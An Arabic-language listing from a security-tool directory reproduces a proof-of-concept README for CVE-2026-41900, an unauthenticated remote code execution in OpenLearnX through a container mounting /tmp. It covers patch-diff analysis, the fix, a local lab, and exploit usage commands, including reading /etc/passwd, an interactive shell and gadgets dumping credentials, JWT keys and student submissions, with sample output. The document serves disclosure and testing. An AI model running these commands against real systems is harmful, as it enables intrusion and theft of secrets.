Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-41900-POC — إثبات مفهوم لاستغلال CVE-2026-41900، وهو تنفيذ كود عن بُعد غير مصادق عليه في OpenLearnX عبر تركيب وحدة تخزين الحاوية، مما يتيح كشف /tmp وتنفيذ الأوامر. | Kitploit
أدوات/GitHubGitHub/christbowel/cve-2026-41900-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرالهروب من الحاوية
GitHubchristbowel/cve-2026-41900-poc

CVE-2026-41900-POC

إثبات مفهوم لاستغلال CVE-2026-41900، وهو تنفيذ كود عن بُعد غير مصادق عليه في OpenLearnX عبر تركيب وحدة تخزين الحاوية، مما يتيح كشف /tmp وتنفيذ الأوامر.

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

OpenLearnX-RCE

hacking

OpenLearnX ثغرة تنفيذ الأكواد عن بُعد غير المصادق عليها عبر تركيب وحدة تخزين الحاوية

اكتشاف قائم على الفروقات ← تصحيح صامت ← هروب من الحاوية ← كشف كامل لـ /tmp

الخاصيةالقيمة
الاسمOpenLearnX-RCE
CVECVE-2026-41900
GHSAGHSA-8h25-q488-4hxw
النوعكشف معلومات غير مصادق عليه / تنفيذ أكواد عن بُعد
المتأثرOpenLearnX < commit 14765d7
المُصلَحCommit 14765d7 (real_compiler_service)
CVSS8.6 (عالٍ)
CWECWE-538, CWE-377, CWE-250

كيف اكتشفتها

OSDC (خط أنابيب استخبارات التصحيحات الآلي الخاص بي) رصد إعلانًا صامتًا على OpenLearnX — GHSA-8h25-q488-4hxw نُشر دون أي تفاصيل تقنية. سحبت commit الإصلاح (14765d7) وقارنته بـ commit الأصلي (d19c4e4).

الفروقات كشفت القصة كاملة: execute_in_container() في backend/routes/coding.py تم تجريده واستبداله بـ real_compiler_service محصّن. الكود القديم كان يكتب كود المستخدم إلى ملف مؤقت، ثم يركّب os.path.dirname(temp_file) — والذي يُحل إلى /tmp — داخل حاوية Docker شقيقة كوحدة تخزين للقراءة فقط. بدون user=، بدون cap_drop، بدون security_opt. يعمل كجذر (root) افتراضيًا.

النقطة الحاسمة: مخطط compiler في /api/compiler/execute لا يحتوي على أي مُزيّن مصادقة. أي طلب غير مصادق عليه يمكنه تشغيل تنفيذ الأكواد عبر إعداد الحاوية الضعيف.

عزلت الكود قبل التصحيح في مختبر محلي، وأكدت جميع المتجهات، وكتبت هذا الـ PoC.


ملخص الثغرة

root@kitploit:~
POST /api/compiler/execute  (بدون مصادقة)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ يُحل إلى /tmp → يتم تركيب /tmp بالكامل داخل الحاوية
     │
     ├─ بدون user=        → يعمل كجذر (UID 0)
     ├─ بدون cap_drop     → صلاحيات Docker الافتراضية
     ├─ بدون security_opt → ملف seccomp الافتراضي
     │
     └─ المهاجم يقرأ: الأسرار، بيانات الاعتماد، مفاتيح JWT، طلبات المستخدمين الآخرين

الأدوات (Gadgets)

الأداةالخطورةCWEالوصف
listingعاليةCWE-538عرض قائمة الدليل /tmp عبر تركيب وحدة التخزين
secretsحرجةCWE-538قراءة بيانات الاعتماد والمفاتيح والإعدادات من /tmp
submissionsعاليةCWE-538قراءة طلبات الأكواد لطلاب آخرين
rootcheckمتوسطةCWE-250تأكيد التنفيذ بصلاحيات UID 0 (جذر)
capsمتوسطةCWE-250تفريغ صلاحيات Linux الفعالة

التثبيت

root@kitploit:~
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# لا توجد تبعيات — المكتبة القياسية فقط
chmod +x exploit.py

الاستخدام

root@kitploit:~
# التحقق مما إذا كان الهدف ضعيفًا
python3 exploit.py --check http://target:5000

# تشغيل جميع الأدوات + إنشاء ملف JSON للأدلة
python3 exploit.py --exploit http://target:5000

# تنفيذ أمر واحد
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# الدخول إلى قشرة تفاعلية
python3 exploit.py --shell http://target:5000

# تشغيل أدوات محددة
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

أوامر القشرة

بمجرد الدخول إلى --shell، تحصل على قشرة شبه تفاعلية. كل أمر يُنشئ حاوية مؤقتة جديدة.

root@kitploit:~
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] تم تنزيل jwt_signing_key.pem (235B)

root@container:/app# exit

إعداد المختبر

لإعادة الإنتاج محليًا:

root@kitploit:~
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

ينشر المختبر تطبيق Flask داخل حاوية يعيد إنتاج execute_in_container() قبل التصحيح مع:

  • تركيب مقبس Docker (نمط الحاوية الشقيقة)
  • مشاركة /tmp بين المضيف وحاوية التطبيق
  • ملفات أولية تحاكي الأسرار وطلبات الطلاب

تحليل الإصلاح

commit 14765d7 استبدل execute_in_container() بـ real_compiler_service الذي يطبق:

root@kitploit:~
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # مجلد مؤقت معزول لكل تنفيذ
    cap_drop=["ALL"],                                           # إسقاط جميع الصلاحيات
    security_opt=["no-new-privileges:true"],                    # منع تصعيد الصلاحيات
    user="65534:65534",                                         # nobody، وليس root
    ...
)

الجدول الزمني

التاريخالحدث
2026-04OSDC يرصد الإعلان الصامت GHSA-8h25-q488-4hxw
2026-04تحليل الفروقات لـ commit 14765d7 مقابل d19c4e4
2026-05إعادة الإنتاج في المختبر وتطوير الـ PoC
2026-05-06تأكيد الـ PoC الكامل — التحقق من جميع المتجهات الخمسة

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.


Christbowel · christbowel.com · فريق Balgo الأمني

تنزيل الأداة